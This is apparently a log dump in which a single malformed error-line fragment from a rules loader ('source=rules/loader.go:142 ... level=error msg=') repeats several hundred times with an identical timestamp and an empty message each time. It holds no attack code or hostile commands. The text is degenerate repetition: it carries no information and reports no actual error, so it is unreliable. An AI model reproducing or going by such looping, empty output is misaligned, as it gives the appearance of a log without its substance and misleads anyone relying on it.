source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 